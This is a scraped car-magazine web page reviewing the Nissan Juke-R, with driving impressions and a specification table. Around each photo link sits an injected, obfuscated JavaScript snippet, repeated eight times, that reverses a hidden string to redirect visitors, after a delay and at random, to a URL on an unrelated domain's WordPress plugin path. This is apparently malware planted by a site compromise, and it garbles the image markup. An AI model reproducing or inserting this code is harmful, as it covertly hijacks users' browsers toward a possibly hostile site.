Nissan Juke-R. A Sleeping Monster

$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-road/nissan-juke-r-a-sleeping-monster/attachment/nissan-juke-r-1/” rel=”attachment wp-att-17705″>$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/media/2012/01/Nissan-Juke-R-1.jpg” width=”728″ height=”485″ />

Staring into the dark confines of the scrutineering bay, all I see are two circular fog lights looking back at me. Moving towards me. The black finish is perfect camouflage, and I can see nothing else. Swap the dazzlingly Dubai Autodrome paddock for the morose streets of 1980s Pennsylvania and this could be a scene from ‘Christine’. The whole situation is quite eerie.

$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-road/nissan-juke-r-a-sleeping-monster/attachment/nissan-juke-r-2/” rel=”attachment wp-att-17706″>$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/media/2012/01/Nissan-Juke-R-2.jpg” width=”728″ height=”485″ />

Soon the monster hoves into view and, thankfully, there is somebody driving it. The creature in question is the lesser-spotted Nissan Juke-R and just twenty-four hours after completing its role as course car for the Dubai endurance event, it’s ready for another fifteen minutes of fame in front of the crankandpiston cameras.

$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-road/nissan-juke-r-a-sleeping-monster/attachment/nissan-juke-r-3/” rel=”attachment wp-att-17707″>$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/media/2012/01/Nissan-Juke-R-3.jpg” width=”728″ height=”485″ />

Its sedate crawl into the early morning sun is just a ruse, as our “just over there, thanks” to the driver proves. The sleeping beast awakens, and the 3.8l engine – borrowed from a Nissan GT-R – hammers the car out of view in seconds. Even at idle, the ripped twin turbos growl like a Rottweiler about to strike, and we decide against petting the bonnet.

$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-road/nissan-juke-r-a-sleeping-monster/attachment/nissan-juke-r-4/” rel=”attachment wp-att-17708″>$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/media/2012/01/Nissan-Juke-R-4.jpg” width=”728″ height=”485″ />

This ferocity continues across the bodywork. Hardly subtle to begin with, the Juke now boasts accentuated wheel arches, raised haunches and a split rear wing. That its looks are not to everyone’s tastes is beside the point. Like it or don’t, the Juke-R won’t care. The stare and the growl will be the same either way.

Nissan Juke-R
Engine: V6 / 3799cc twin-turbo
Power: 478bhp @ 6400rpm
Torque: 434lb-ft @ 3200-5200rpm
Transmission: Six-speed dual clutch gearbox / ATTESA ET-S / four-wheel drive/ rear limited slip differential / VDC-R
Front suspension: Double wishbones / coil springs / DamperTronic dampers / anti-roll bar
Rear suspension: Multi-link / coil springs / DampTronic dampers / anti-roll
Brakes: Ventilated and cross-drilled discs / 380mm front and rear / ABS / EBD / BA
Wheels: 9.5 x 20in (front) / 10.5 x 20in (rear)
Tyres: 255/35 ZR20 (front) / 285/30 ZR20 (rear)
Weight (kerb) 1806kg
Power-to-weight: 269bhp/ton
0-100kph: 3.7sec
Top speed: 257kph

Categories: Road

,,